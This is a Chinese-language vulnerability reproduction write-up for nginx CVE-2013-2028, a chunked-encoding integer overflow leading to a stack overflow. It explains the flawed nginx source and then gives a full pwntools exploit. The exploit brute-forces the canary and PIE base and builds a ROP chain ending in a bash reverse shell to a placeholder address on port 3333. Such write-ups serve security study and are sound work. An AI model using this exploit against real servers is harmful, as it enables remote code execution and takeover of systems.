前置芝士

整数溢出

部分数据类型的大小与范围

计算机并不能存储无限大的整数,计算机中的整数类型代表的数值只是自然数的一个子集。

数据类型

字节数(32位)

字节数(64位)

取值范围(32位)(10进制)

取值范围(32位)(16进制)

int

4

4

-2,147,483,648 ~ 2,147,483,647

0xFFFFFFFF ~ 0x80000000(-0) 0x00000000(+0) ~ 0x7FFFFFFF

unsigned int

4

4

0 ~ 4,294,967,295

0x00000000 ~ 0xFFFFFFFF

long int

4

8

-2147483648 ~ 2147483647

0xFFFFFFFF ~ 0x80000000(-0) 0x00000000(+0) ~ 0x7FFFFFFF

short

2

2

-32768 ~ 32767

0xFFFF ~ 0x8000(-0) 0x0000(+0) ~ 0x7FFF

异常情况

关于整数的异常情况主要有三种:

  1. 溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。溢出标志OF可检测有符号数的溢出;

  2. 回绕,无符号数0减1时会变成最大的数,如1字节的无符号数会变为255,而255加1会变成最小数0。进位标志CF可检测无符号数的回绕;

  3. 截断,将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断

或者说计算机中有4种溢出情况,以32位整数为例。

  • 无符号上溢:无符号数0xFFFFFFFF加1变为0的情况。

  • 无符号下溢:无符号数0减去1变为0xFFFFFFFF的情况。

  • 有符号上溢:有符号数正数0x7FFFFFFF加1变为负数0x80000000,即十进制-2147483648的情况。

  • 无符号下溢:有符号负数0x80000000减去1变为正数0x7FFFFFFF的情况。(本次漏洞复现就是利用的这种情况

Nginx模块功能介绍

观察Nginx源码目录以及各自的功能如下:

core: 核心代码,包含一些数据结构
event: 事件驱动模型、定时器相关代码
http: http server相关代码
mail: mail代理服务器相关代码
misc: 辅助代码
os: 解决系统兼容性问题

Nginx中主要是以模块为分类:

1、Handler模块: 处理请求并产生输出

2、Filter模块: 处理Handler模块中的输出

3、Load-balancer模块,负责挑选出负载均衡中的某一台服务器

举例说明: 客户端请求过来,nginx便是由各个Handler模块处理http请求包,然后返回给客户端的时候,便会使用Filter模块对http响应包进行处理,包括其中响应头以及响应内容

一个HTTP请求流量中包含了几个点:

请求包: 请求行、请求头、包体

使用Transfer-Encoding头部指明使用的Chunk传输方式

Transfer-Encoding: chunked 是 HTTP/1.1 协议中定义的一种数据传输方式。在 HTTP/1.1 之前,HTTP 协议的响应数据通常是一次性发送的,也就是说,服务器必须把所有的响应数据准备好后,一次性发送给客户端。这种方式的缺点是,如果响应数据很大,或者数据的产生需要花费一定的时间,那么服务器就需要维持一个开放的连接,等待所有数据准备就绪才能发送,这无疑会增加服务器的负担,也会让客户端长时间等待,影响用户体验。

为了解决这个问题,HTTP/1.1 引入了 chunked 传输编码方式。所谓 "chunked",就是将数据分块(chunk)传输。服务器在发送响应头时,不再提供 Content-Length 字段(或者 Content-Length 字段的值为 0),而是使用 Transfer-Encoding: chunked 字段,告诉客户端,响应数据将以多个块(chunk)的形式发送。每个数据块包含两部分:块大小和块数据。块大小是一个十六进制的数字,表示接下来的块数据的字节长度。块数据是实际的数据内容。每个块后面都跟一个空行(CRLF)。当所有的数据发送完毕后,服务器会发送一个大小为 0 的块,表示数据传输结束。

这种方式的优点是,服务器可以边产生数据边发送,不需要等待所有数据都产生完毕。客户端也可以边接收数据边处理,不需要等待所有数据都接收完毕。这样就可以减少服务器的负担,提高数据传输的效率,改善用户体验。

举例来说,如果服务器要发送的数据是 "Hello, World!",并且服务器决定每 5 个字符作为一个块,那么服务器发送的数据可能是这样的

5
Hello
2
, 
5
World
1
!
0

客户端收到这些数据后,会根据块大小读取相应的块数据,然后把所有的块数据拼接起来,得到最终的数据 "Hello, World!"。

Brop

BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。

攻击条件

1、源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。

2、服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。(我们这就是nginx)

攻击思路

1.暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来

2.寻找可以返回到程序main函数的gadget,通常被称为stop_gadget

3.利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret

4.寻找BROP Gadget,可能需要诸如write、put等函数的系统调用

5.寻找相应的PLT地址

6.dump远程内存空间

7.拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell

调用链分析

Nginx接收HTTP数据并响应的整个过程如下: (/src/http/ngx_http_request.c)

在gdb调试时,可以输入bt同样可以查看调用链和源文件

本次漏洞出现的位置主要位置为处理HTTP请求包体中的丢弃部分。

首先,我们关注http\ngx_http_request_body.c里的ngx_http_read_discarded_request_body这个函数。

static ngx_int_t
ngx_http_read_discarded_request_body(ngx_http_request_t *r)
{
    size_t     size;
    ssize_t    n;
    ngx_int_t  rc;
    ngx_buf_t  b;
    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];//最大长度为4096
​
    ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
                   "http read discarded body");
​
    ngx_memzero(&b, sizeof(ngx_buf_t));
​
    b.temporary = 1;
​
    for ( ;; ) {
        if (r->headers_in.content_length_n == 0) {
            r->read_event_handler = ngx_http_block_reading;
            return NGX_OK;
        }
​
        if (!r->connection->read->ready) {
            return NGX_AGAIN;
        }
​
        size = (size_t) ngx_min(r->headers_in.content_length_n,
                                NGX_HTTP_DISCARD_BUFFER_SIZE);//检查长度大小
        //size无符号, r->headers_in.content_length_n 有符号
        n = r->connection->recv(r->connection, buffer, size);//通过recv读入size大小的内容
​
        if (n == NGX_ERROR) {
            r->connection->error = 1;
            return NGX_OK;
        }
​
        if (n == NGX_AGAIN) {
            return NGX_AGAIN;
        }
​
        if (n == 0) {
            return NGX_OK;
        }
​
        b.pos = buffer;
        b.last = buffer + n;
​
        rc = ngx_http_discard_request_body_filter(r, &b);
​
        if (rc != NGX_OK) {
            return rc;
        }
    }
}

在这里面首先#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096,存在一个buffer变量,其中长度最大为4096。 然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1)),看headers_in.content_length_n的大小是多少,如果小于4096的话将会把它的值给size。 接下来就是使用recv接收数据,这里要注意recv函数,如果buffer比size小的话,接收过多数据时候会导致栈溢出问题。

当然这里看起来没问题,因为使用了ngx_min做了处理,但是要注意的是headers_in.content_length_n类型为off_t,也就是有符号的long型,如果他能够为负数,再通过将它转换为size_t类型,也就是无符号的unsigned int型,最终的数值会变得很大。

然后在48行调用了ngx_http_discard_request_body_filter函数,该函数定义如下:

static ngx_int_t
ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b)
{
    size_t                    size;
    ngx_int_t                 rc;
    ngx_http_request_body_t  *rb;
​
    if (r->headers_in.chunked) {//需要设置请求头来进入流程
        ...
        for ( ;; ) {
​
            rc = ngx_http_parse_chunked(r, b, rb->chunked);//调用解析函数
​
            ...
​
            if (rc == NGX_AGAIN) {//覆盖的条件
​
                /* set amount of data we want to see next time */
​
                r->headers_in.content_length_n = rb->chunked->length;//长度覆盖
                break;
            }
​
            /* invalid */
​
            ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
                          "client sent invalid chunked body");
​
            return NGX_HTTP_BAD_REQUEST;
        }
​
    } else {
        ...
    }
​
    return NGX_OK;
}

注意到,如果rc == NGX_AGAIN的话,r->headers_in.content_length_n的值将会被第二次的rb->chunked->length长度覆盖掉,而rcngx_http_parse_chunked函数有关。

再跟进第29行的ngx_http_parse_chunked函数:

ngx_int_t
ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,
    ngx_http_chunked_t *ctx)
{
    u_char     *pos, ch, c;
    ngx_int_t   rc;
    enum {
        sw_chunk_start = 0,
        sw_chunk_size,
        sw_chunk_extension,
        sw_chunk_extension_almost_done,
        sw_chunk_data,
        sw_after_data,
        sw_after_data_almost_done,
        sw_last_chunk_extension,
        sw_last_chunk_extension_almost_done,
        sw_trailer,
        sw_trailer_almost_done,
        sw_trailer_header,
        sw_trailer_header_almost_done
    } state;//声明一个枚举
​
    state = ctx->state;
​
    if (state == sw_chunk_data && ctx->size == 0) {
        state = sw_after_data;
    }
​
    rc = NGX_AGAIN;//先将rc赋值为NGX_AGAIN
​
    for (pos = b->pos; pos < b->last; pos++) {//b->pos和b->last间在初始化时分配的0x410大小的堆块,可写内容大小刚好为0x400
​
        ch = *pos;
​
        ngx_log_debug2(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
                       "http chunked byte: %02Xd s:%d", ch, state);
​
        switch (state) {
        case sw_chunk_start://如果为0到f的十六进制字符,则视为 chunk size处理
            if (ch >= '0' && ch <= '9') {
                state = sw_chunk_size;//赋值state,下次循环跳转的就是处理size那里
                ctx->size = ch - '0';
                break;
            }
​
            c = (u_char) (ch | 0x20);
​
            if (c >= 'a' && c <= 'f') {
                state = sw_chunk_size;
                ctx->size = c - 'a' + 10;
                break;
            }
​
            goto invalid;
​
        case sw_chunk_size://处理size
            if (ch >= '0' && ch <= '9') {
                ctx->size = ctx->size * 16 + (ch - '0');
                break;
            }
​
            c = (u_char) (ch | 0x20);
​
            if (c >= 'a' && c <= 'f') {
                ctx->size = ctx->size * 16 + (c - 'a' + 10);
                break;
            }
​
            if (ctx->size == 0) {//size为0则说明传输完了
​
                switch (ch) {
                case CR:
                    state = sw_last_chunk_extension_almost_done;
                    break;
                case LF:
                    state = sw_trailer;
                    break;
                case ';':
                case ' ':
                case '\t':
                    state = sw_last_chunk_extension;
                    break;
                default:
                    goto invalid;
                }
​
                break;
            }
​
            switch (ch) {//size非十六进制数字时的处理
            case CR:
                state = sw_chunk_extension_almost_done;
                break;
            case LF://回车符
                state = sw_chunk_data;
                break;
            case ';':
            case ' ':
            case '\t':
                state = sw_chunk_extension;
                break;
            default:
                goto invalid;
            }
​
            break;
            ...
        }
    }
​
data:
​
    ctx->state = state;
    b->pos = pos;
​
    switch (state) {
​
    case sw_chunk_start:
        ctx->length = 3 /* "0" LF LF */;
        break;
    case sw_chunk_size://给length赋值,并且未检查size的正负情况
        ctx->length = 2 /* LF LF */
                      + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);
        break;
    ......
    return rc;//返回rc
}

注意到,b->pos的起始地址和b->last中间刚好为0x400。如果包体内容设置的全为十六进制数字,则会一直按照sw_chunk_size来解析,然后进入data:ctx->length赋值,且未检查size的正负。

流程中唯一给rc赋值的地方的就是29行的NGX_AGAIN,便达成了我们所有需要的条件了。

以上是触发漏洞的全部流程。

成功修改size

exp分析

由于这是通过socket来进行交互,所以我们无法通过常规的wrtieprintf等输出函数来泄露信息。因此可以借助brop的打法,通过爆破的方法来获取想要的数据。

在背景知识中介绍了nginx服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)

而canary检测便是其中一种会让服务器崩溃的手段。

泄露canary

通过gdb调试,可以知道canary和返回地址对于我们输入的偏移。

我们这边一字节一字节的爆破canary,如果爆破失败,则程序崩溃,无返回响应报文;如果爆破成功,则有响应报文。所以当前一字节爆破停止的条件就是成功接受响应报文。

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
########################   基础报文的设置
base = '''
GET / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Connection: Keep-Alive\r\n\r
'''
base +='f' * (1024 - len(base) - 16)
base += "f0000000"
base += "00000060" + "\r\n"

#########################   Get Canary
def ByteToHex(byteStr):
    return ''.join(["\\x%02x" % ord(x) for x in byteStr]).strip()

def find_canary():
    canary = ''
    for _ in range(0, 8):
        for byte in range(0, 256):
            ps = remote('127.0.0.1',80)
            ps.send(base + 'A' * 0x1006 + canary + chr(byte))#将之前爆破成功的字节加入,进行下一字节的爆破
            try:
                ps.recv(1024)
                print('[+] canary[%s] = \'\\x%s\'\n' % (hex(len(canary)), hex(byte)[2:].rjust(2, '0')))
                ps.close()
                break
            except:
                sys.stdout.write('\033[A[-] Trying canary: "%s\\x%s"\n' % (ByteToHex(canary), hex(byte)[2:].rjust(2, '0')))
                sys.stdout.flush()
            ps.close()

        canary += chr(byte)#成功爆破的字节进入canary
        print(chr(byte))
    return canary

泄露pie

仍然是爆破泄露,但通过非法内存访问来使程序崩溃。(缺点是有概率无法爆破)

由于text段地址的前三位为固定值,我们要爆破的只有9位(4.5个字节)

如果爆破失败(后面的值均为0xff,则重启nginx 的master process即可,如果还不行就再来一次)

def find_pie(canary):
        pie_offset = 0x3fc2f #我们泄露的地址和pie基址的偏移
        pie = ''
        pie_num = 0x2f
        for m in range(0,5):
                if m == 0:
                        for byte in range(0x0c,0xfc,0x10):#最低位为定值 c
                                ps = remote('127.0.0.1',80) 
                                ps.send(base + 'A'*0x1006 + canary + 'B'*0x18 + '\x2f' + chr(byte))
                                try:
                                        ps.recv(0x85)
                                        print('[+] pie[%s] = \'\\x%s\'\n' % (hex(len(pie)), hex(byte)[2:].rjust(2, '0')))
                                        ps.close()
                                        break
                                except:
                                        sys.stdout.write('\033[A[-] Trying pie: "%s\\x%s"\n' % (ByteToHex(pie), hex(byte)[2:].rjust(2, '0')))
                                        sys.stdout.flush()
                                ps.close()
                        pie += chr(byte)
                        print(chr(byte))
                else:
                        for byte in range(0,256):#常规爆破
                                ps = remote('127.0.0.1',80)
                                ps.send(base + 'A'*0x1006 + canary + 'B'*0x18 + '\x2f' + pie + chr(byte))
                                try:
                                        ps.recv(1000)
                                        print('[+] pie[%s] = \'\\x%s\'\n' % (hex(len(pie)), hex(byte)[2:].rjust(2, '0')))
                                        ps.close()
                                        break
                                except:
                                        sys.stdout.write('\033[A[-] Trying pie: "%s\\x%s"\n' % (ByteToHex(pie), hex(byte)[2:].rjust(2, '0')))
                                        sys.stdout.flush()
                                ps.close()
                        pie += chr(byte)
                        print(chr(byte))
        
        for i in range(0,5):
                pie_num +=  + ord(pie[i])*(256**(i+1))
        
        pie_num -= pie_offset
        return pie_num

反弹shell

程序中存在execve的plt表,因此通过调用execve来反弹shell。

execve一参为"/bin/sh -c"

二参为字符串数组,设置为 "/bin/sh -c" , "bash -c " , ""bash -i >&/dev/tcp/0.0.0.0/3333 0>&1""

三参为0

#############################   get shell
canary_str = find_canary()
pie = find_pie(canary_str)
#pie = 0x5991aea76000
bss = pie + 0xa5a00

canary = 0
for i in range(0,8):
                canary += ord(canary_str[i])*(256**i)
#canary = 0xae0806c252390300
print('canary = ',hex(canary))
print('pie_base = ',hex(pie))
print('shellcode_addr = ',hex(bss))

#0x000000000000ea54 : pop rdi ; ret
#0x0000000000012489 : pop rsi ; ret
#0x000000000002d1d2 : pop rdx ; adc dh, dh ; ret
#0x000000000003cbef : pop rax ; ret
#0x0000000000043720 : mov qword ptr [rdi], rax ; ret

pop_rdi = pie + 0xea54
pop_rsi = pie + 0x12489
pop_rdx = pie + 0x2d1d2
pop_rax = pie + 0x3cbef
mov__rdi_rax = pie +0x43720
execve_plt = pie + 0xdf74

#构造rop,将shell字符串写入bss段
#shell = /bin/sh -c bash -c \"bash -i >&/dev/tcp/0.0.0.0/3333 0>&1\"
rop = base.encode() + b'A'*0x1006 + p64(canary) + b'B'*0x18

rop += p64(pop_rdi) + p64(bss)
rop += p64(pop_rax) + b'/bin/sh\x00'
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x8)
rop += p64(pop_rax) + b'-c'.ljust(8,b'\x00')
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x10)
rop += p64(pop_rax) + b'bash -c '
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x18)
rop += p64(pop_rax) + b'\"bash -i'
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x20)
rop += p64(pop_rax) + b' >&/dev/'
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x28)
rop += p64(pop_rax) + b'tcp/0.0.'
rop += p64(mov__rdi_rax)


rop += p64(pop_rdi) + p64(bss+0x30)
rop += p64(pop_rax) + b'0.0/3333'
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x38)
rop += p64(pop_rax) + b' 0>&1\"'.ljust(8,b'\x00')
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x40)#第一个字符串的地址
rop += p64(pop_rax) + p64(bss)
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x48)#第二个字符串的地址
rop += p64(pop_rax) + p64(bss+0x8)
rop += p64(mov__rdi_rax)

rop += p64(pop_rdi) + p64(bss+0x50)#第三个字符串的地址
rop += p64(pop_rax) + p64(bss+0x10)
rop += p64(mov__rdi_rax)

rop += p64(pop_rax) + p64(0x3b)
rop += p64(pop_rdi) + p64(bss)#execve一参
rop += p64(pop_rsi) + p64(bss+0x40)#二参
rop += p64(pop_rdx) + p64(0x0)#三参

rop += p64(execve_plt)

final = remote('127.0.0.1',80)
final.send(rop)

tips:我的机子/bin/sh执行的是shell是dash,重定向不支持非数字,就是>&xxx,xxx只能是数字,不能为>&/dev/xxx,所以用上了bash。

参考链接

https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html

https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb

https://github.com/kitctf/nginxpwn/blob/master/poc.py

https://aryb1n.github.io/2018/07/08/execve%E5%8F%8D%E5%BC%B9shell/

https://github.com/m4drat/CVE-2013-2028-Exploit/blob/master/exploit.py#L56

https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/

https://www.cnblogs.com/sap-jerry/p/17838699.html

浇浇我,我什么都会做的